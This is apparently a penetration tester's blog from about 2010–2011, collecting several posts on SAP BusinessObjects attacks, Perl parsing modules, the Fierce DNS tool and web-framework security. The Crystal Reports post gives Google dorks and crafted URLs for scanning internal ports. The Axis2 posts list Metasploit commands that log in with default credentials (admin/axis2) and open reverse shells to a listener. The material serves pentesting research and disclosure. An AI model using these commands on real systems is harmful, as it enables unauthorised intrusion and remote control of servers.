2011 Predictions

Here are my predictions for 2011 in no particular order:

• Microsoft will release > 100 bulletins.
• W3C will finish the HTML v5 spec. It will still have tons of attack vectors which attackers will start to use.
• Adobe will continues to a primary attack vector for malicious attackers.
• SQL Injection and Cross Site Scripting won’t be killed for at least another 3-5 years.
• There will be another major DDoS incident similar to (Iran’s elections in 2009 and Wikileaks issues in 2010).
• IE 6 will still be used by organizations that use webapps which require it.
• Someone will release an Android exploits framework.
• The Celtics beat the Lakers in 7 games to win the NBA Championship.
• The Miami Heat are still 3 years away from winning the NBA Championship.
• The RedSox beat the Phillies in 6 games to win the World Series.
• The Patriots beat the Atlanta Falcons to win the Superbowl.
• The Boston Bruins don’t make the playoffs.

Internal Port Scanning via Crystal Reports

Another fun attack that willis and I found during our SAP BusinessObjects research is that we could do internal port scanning by using Crystal Reports.

The way this works is that when you browse to a Crystal Reports web application (http://hostname/CrystalReports/viewrpt.cwr) there are a few parameters which are used to communicate with the SAP services on the backend. The problem here is that these parameters are controlled by the user. Now a better way to do this is to provide a drop-down list or make all the configurations done by the server.

Now the user can modify the IP and port which the web application is trying to communicate with on the backend. By default the port is 6400. Now the ability to modify the IP and port is good. The next step is to map the responses to open and closed so that we could programmatically map out the internal network.

Here are a few nice Google Dorks:
inurl:viewrpt.cwr
filetype:cwr inurl:apstoken

Here is the resulting mapping :

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:445@$TOKEN

Port Open Response:
# Unable to open a socket to talk to CMS $HOSTNAME:445 (FWM 01005)

http://hostname/CrystalReports/viewrpt.cwr?id=$ID&wid=$WID&apstoken=internal_ip_address:80@$TOKEN

Port Closed Response :
# Server $HOSTNAME:80 not found or server may be down (FWM 01003)

Lastly the only thing we need to do is to modify the IP and port to whatever we are trying to scan. This is faster than using BeEF’s JavaScript internal portscanning functionality and it doesn’t require client interaction. Pwn dem v0hns!

Enjoy!

Regards,
Jabra

Axis2 Deployer via REST

Update 12/06: Many kudos to Egypt for helping with exploit dev!

Last weekend at OWASP BASC 2010, I created another version of the Axis2 Deployer exploit which uses REST instead of SOAP. This is important because pentesters may need to exploit Axis2 via REST, since SOAP may be disabled in certain environments. This module will not work against SAP BusinessObjects since the dswsbobje.war module has the REST interface disabled by default. I have tested the module against Axis2 1.5.2.

The REST version of Axis2 Deployer Exploit module can be found here.

In essence this module adds more flexibility for everyone that is a pentesting an environment with Axis2.

Example usage:

use exploit/multi/http/axis2_deployer_rest
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


Enjoy!

Regards,
Jabra

Axis2 Deployer via SOAP

At OWASP AppSecDC @willis__ and I talked about several attacks against SAP BusinessObjects. SAP BusinessObjects uses a module known as dswsbobje.war to deploy the Axis2 interface. Axis2 is a web application interface for administering web services. The dswsbobje module deploys several SAP BusinessObjects web services. These web services allow for anyone that is using BusinessObjects to build integration with other systems in their environment. The problem is that SAP did not remove the functionality which would prevent a malicious attacker or XSS’ed admin from deploying a malicious web service. Worse yet is that they also left the Axis2 interface configured with default credentials and then they went ahead and forgot to mention this fact in their 1000+ pages administration guide. Perfect storm. “What’s the worst that could happen….?”

Axis2 and SAP’s dswsbobje module both use the default credentials to login to the web interface (admin / axis2). Metasploit already has a module to test for default Axis2 credentials.

We can use this against SAP BusinessObjects by using the following msfconsole commands:

use auxiliary/scanner/http/axis_login
set URI /dswsbobje/axis2-admin/login
set USERNAME admin
set PASSWORD axis2
set RHOSTS 192.168.33.128
run


After we have identified a target that has default Axis2 credentials, we can utilize these credentials to login and deploy a new malicious web service. The way this works is that Axis2 Deployer module creates a new web service (jar), uploads the web service by using the default Axis2 credentials and then makes a SOAP request to execute meterpreter.

The Axis2 Deployer Exploit module have been added to Metasploit svn so that anyone that runs into Axis2 in the future will be able to easily exploit the system. The Metasploit module uses the java/meterpreter or java/shell payloads.

Here is an example of using the Axis2 Deployer exploit module against SAP BusinessObjects:

use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload java/meterpreter/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

For those running BusinessObjects SAP has provided a “fix” on their website (this site requires authentication).

For Axis2 that only difference is that the PATH is set to /axis2.

use exploit/multi/http/axis2_deployer
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


It’s important to keep in-mind is that java/meterpreter is not the same as windows/meterpreter and therefore has several limitations which make it less than ideal for anyone that is performing a penetration assessment. To get around this limitation, we can use the spawn_meterpreter script.


use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload windows/shell/reverse_payload
set AutoRunScript spawn_meterpreter
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j


This script will cause Metasploit to execute a new instance of meterpreter automatically after the first session is opened.

Regards,
Jabra

Security-patching Common Web Development Frameworks

A few weeks ago at OWASP AppSec DC we made progress on an idea that several of us (@RafalLos, @secureideas, @securityninja, @TheCustOS) have been talking about on twitter for a while. The idea is based on trying to determine a good solution to what we see as the general brokenness of the Internet’s web applications. Not only do we see current applications as badly broken but the velocity at which developers are building new insecure web application is increasing. The panel that we hosted at OWASP AppSec DC discussed one method which we can contribute to reduce the rate at which new, insecure web applications are being developed.

Our idea is based on improving the security of existing web application development frameworks; adding security components into their core, thus making security more transparent to the developer and potentially having the effect of producing more secure web applications.

While there are certain elements of WebAppSec which will help to reduce the volume and impact of vulnerabilities such as training; training simply hasn’t proven to be a solution which scales well. The root of the problem with training is that the number of developers in the world is many orders of magnitude more than the number of WebAppSec trainers. The trainers are also limited due to several factors such as the need to understand language-specific constructs and limitations and the need to constantly keep up with changing development methodologies. This drastically impacts the pool of qualified, available trainers.

There are two factors which we need to address so that everyone is clear the types of vulnerabilities we want to cover and how we will improve existing frameworks. Trying to fix all WebAppSec vulnerabilities programmatically is an arduous and complex task. Therefore, we have decided to focus on form-based attacks (SQLi, XSS etc). Our approach will focus strictly on the types of flaws which can be readily addressed with minimal impact to the framework structure, and coding principles of the framework.

Next we have to cover which frameworks, and the versions we will try to improve. From the panel discussion, the consensus is that it is important for us not to focus on adding security to legacy versions of the frameworks since this would be a losing battle which isn’t really worth fighting since developers will over time likely be moving to newer versions of the frameworks with the applied fixes.

The core idea is to improve existing development frameworks by adding security controls into the upstream version of the framework. This means that as the framework is improved with additional features which developers will want, they will have the added benefit of getting a more secure framework “right out of the box”. We understand that developers have little incentive to produce more secure code over meeting their often aggressive release deadlines. Making the frameworks incorporate security is very important, and I think the ideal way to reduce the rate at which vulnerable web applications are being developed by making it more difficult for developers to write insecure code. This change means that from a business perspective the negative time and productivity impact to write “more secure code” is reduced… Our goal is to make the applications being developed more secure, by making security less visible and requiring less effort. We feel this will be the most effective and impactful method of raising overall web application security – by making it simple and (nearly) transparent for developers. We know developers don’t write poorly secured code on purpose, so by making security easier on them, there is a greater chance of the final product having a higher level of software security. It may not be possible to make the entire Internet secure but if we can change the velocity at which new, vulnerable web applications are being developed then we are really making huge strides toward a more secure Internet.

Perhaps the most important question is now that we have an acceptance of our idea – what do we do first? Clearly, step one is gaining community support. I’m not 100 % sure that creating a new OWASP project is the best method… The alternative to this is to use another site like Google groups and/or something similar for managing our efforts.

We welcome community input! Please feel free to leave comments. We are looking forward to see what other people in the community have say about these ideas.

Pentesting Web Services

Recently, I have been doing a few presentations with Will Vandevanter (@willis__) talking about Hacking SAP BusinessObjects. As a reference to anyone who hasn’t seen the presentation I thought it would be useful to do a few follow-up blog posts to clarify a few topics in greater detail.

The essence of the presentation was focused on pentesting SAP’s Service Oriented Architecture (SOA). There are two common ways to do SOA (SOAP and REST). The method used by SAP BusinessObjects is SOAP. For anyone that isn’t familiar with SOAP, just think of XML messages on top of HTTP. Below is a simple ruby client that makes a SOAP request to the web service. There are a few things which make this sample very useful to anyone that is performing a penetration test. The first is the request / response are stored in txt files. This is useful to logging and manual review of details. The second, is that the request is made using a local proxy on 8080/tcp (BurpSuite, WebScarab etc.).

By using a proxy the pentester can have fine grained control of the request. Even though BurpSuite doesn’t have built-in web services support, pentesters can still use the proxy to intercept requests since it’s just HTTP. The way this works is to intercept a SOAP request then utilize the intruder to fuzz any perimeters in the the web service. Pentesters also use BurpSuite (or w/e proxy) to perform replay requests and perform PRNG testing (similar to session id testing)

Sample Ruby SOAP client

Let me know what you think. What methods are you using to pentest web services? What tools do you use ? Comments welcome!

Hack the Planet!

-Jabra

NexposeSimpleXML::Parser

NeXpose is a vulnerability management scanner that supports network based services, databases and web applications. I recently uploaded a Perl Module for the Simple XML format. It can be found here at NexposeSimpleXML::Parser on CPAN.

Here is an example of using the module:


my $nxp = new NexposeSimpleXML::Parser;
my $parser = $nxp->parse_file('test1.xml');
# NexposeSimpleXML::Parser Object
my @host = $parser->get_all_hosts();
# Array - NexposeSimpleXML::Parser::Host Objs
my $host1 = $hosts[0];
my @services = $host1->get_all_services();
# Array - NexposeSimpleXML::Parser::Host::Service Objs
my $s1 = $services[0];
my @vulns = $host1->get_all_vulnerabilities();
# Array - NexposeSimpleXML::Parser::Vulnerabilities Objs
# for the host OS.
@vulns = $s1->get_all_vulnerabilities();
# Array - NexposeSimpleXML::Parser::Vulnerabilities Objs
# for this service.
my $vuln1 = $vulnerabilities[0];
my @refs = $vuln1->get_all_references();
# Array - NexposeSimpleXML::Parser::References Objs
# for this specific vulnerability.


A free community edition of NeXpose is available at: http://www.rapid7.com/vulnerability-scanner.jsp

Let me know what you think. This module was written 100% in the air on my way home from Vegas…. Just sayin…

Regards,
Jabra

MetasploitExpress::Parser

Update: I have already uploaded the module to CPAN. The module can be found at: http://search.cpan.org/~jabra/MetasploitExpress-Parser/lib/MetasploitExpress/Parser.pod

In Vegas I ran into the developer of Seccubus at one of the speaker parties. We talked about the things were are currently working on (Fierce v2, Automation, etc). After a few minutes, he told me about his planned to improve Seccubus to be able to leverage many different tools in a single interface. After re-freshing my memory that Seccubus is also written in Perl, I thought, … well why not add Metasploit Express interation… Well, since you are reading the post I’m sure you can guess what happened.. I coded for around 4 hours at Defcon and MetasploitExpress::Parser was ready before his presentation on sunday.

Here is an example of using MetasploitExpress::Parser:

my $msf = new MetatsploitExpress::Parser;

my $parser = $msf->parse_file(‘test1.xml’);
#a MetasploitExpress::Parser Object

my @hosts = $parser->get_all_hosts();
#an Array of MetasploitExpress::Parser::Host Objects

my @services = $parser->get_all_services();
#an Array of MetasploitExpress::Parser::Service Objects

my @tasks = $parser->get_all_tasks();
#an Array of MetasploitExpress::Parser::Task Objects

my @events = $parser->get_all_events();
#an Array of MetasploitExpress::Parser::Event Objects

my @reports = $parser->get_all_reports();
#an Array of MetasploitExpress::Parser::Report Objects

Abstract:

Security Maturity

The maturity of an information security program can be judged by various
factors. The most important of which is understanding the environment, the
goals of the organization and teams/roles that are involved. This presentation
will discuss methods that can used to determine the state of an organizations
security program and ways to improve it in the future. Building a mature
security program doesn’t happen over night, however constant improvement over a
period of time will lead to a strong security program.

We will cover a few key concepts that are important for organizations that are
building strong security programs. The concepts we will cover include:
internal/external security assessments, web application development and risk
management.

BIO:

Joshua “Jabra” Abraham joined Rapid7 in 2006 as a Security Consultant. Josh has  extensive IT Security and Auditing experience and worked as an enterprise risk assessment analyst for Hasbro Corporation. Josh specializes in penetration testing, web application security assessments, wireless security assessments, and custom code development. He has spoken at BlackHat, DefCon, ShmooCon, SANs Pentest Summit, Infosec World, CSI, OWASP Conferences, LinuxWorld, Comdex and BLUG. In his spare time, he contributes code to open source security projects such as the BackTrack LiveCD, BeEF, Nikto, Fierce, and PBNJ. He is frequently quoted in the media regarding Microsoft Patch Tuesday and web application security by ComputerWorld, DarkReading and SC Magazine.

Fierce v2.0 released at (Security BSides Las Vegas 2010)

Fierce is a network enumeration tool that uses many techniques (mostly using DNS) to gather a list of IPs controlled by an organization. The most common method is to provide Fierce with a domain. Last week at Security BSides in Las Vegas, I gave a talk about the newest version of Fierce. Version 2.0 includes tons of new functionality that the original version lacked. I also discussed the new functionality of Fierce v2 on Security Justice Episode 26.

Here is a small breakdown of the new techniques: Interactive mode for scanning IPs ranges, TLD bruteforce (also with an interactive mode), Virtual host detection and enumeration, ARIN lookups including lookups for every Nethandle, Whois enumeration, Reporting engine that includes TXT, XML and HTML report formats, rewrote all of the techniques to be Object Oriented with threading, ability to exclude or include techniques to ensure fine grained control of the scan and a ton more!

I have also been working on an XML parser module to extract data from Fierce using Perl. Parsing XML allows pentesters to extract the data from tools so they can automate the mundane tasks and work on more difficult things. The module is already on CPAN.

The official release of Fierce v2.0 can be found at:

http://trac.assembla.com/fierce

To check out the latest version of Fierce v2 from subversion, simply run the following command:

 svn co https://svn.assembla.com/svn/fierce/fierce2/trunk/ fierce2/

The XML module (known as Fierce::Parser) can be found at:

http://search.cpan.org/~jabra/Fierce-Parser-0.08/lib/Fierce/Parser.pod

If you have any comments, questions or suggestions please let me know.

Pentesting with Perl at BlackHat 2010

The course I have been working on for a while now, known as “Pentesting with Perl” was released for the first time this year at BlackHat 2010 in Las Vegas. There was a ton of quality content that I put into the course including many of the techniques I have developed to automate the tedious tasks that need to be performed when conducting a penetration assessment.

What made the course unique was that all of the examples were based on useful techniques that I use on a daily basis. Many people learn best by using example, so I built the course to leverage practical examples when explaining the theories of using Perl.

For example, I built a script which processed a PDML file and coverted the ASCII codes using a hash. This a better example than just using something like: (apple => red, orange => orange), because it demonstrates value which can be applied immediately.

Based on the feedback we received, it looks like people really enjoyed the course. The only thing that the students wanted to change is to have more time for the labs. Therefore, I’m sure I will be teaching this training again but using a two day format instead of one. Pentesting with Perl was a great success and it’s only gonna get better! Ph33r!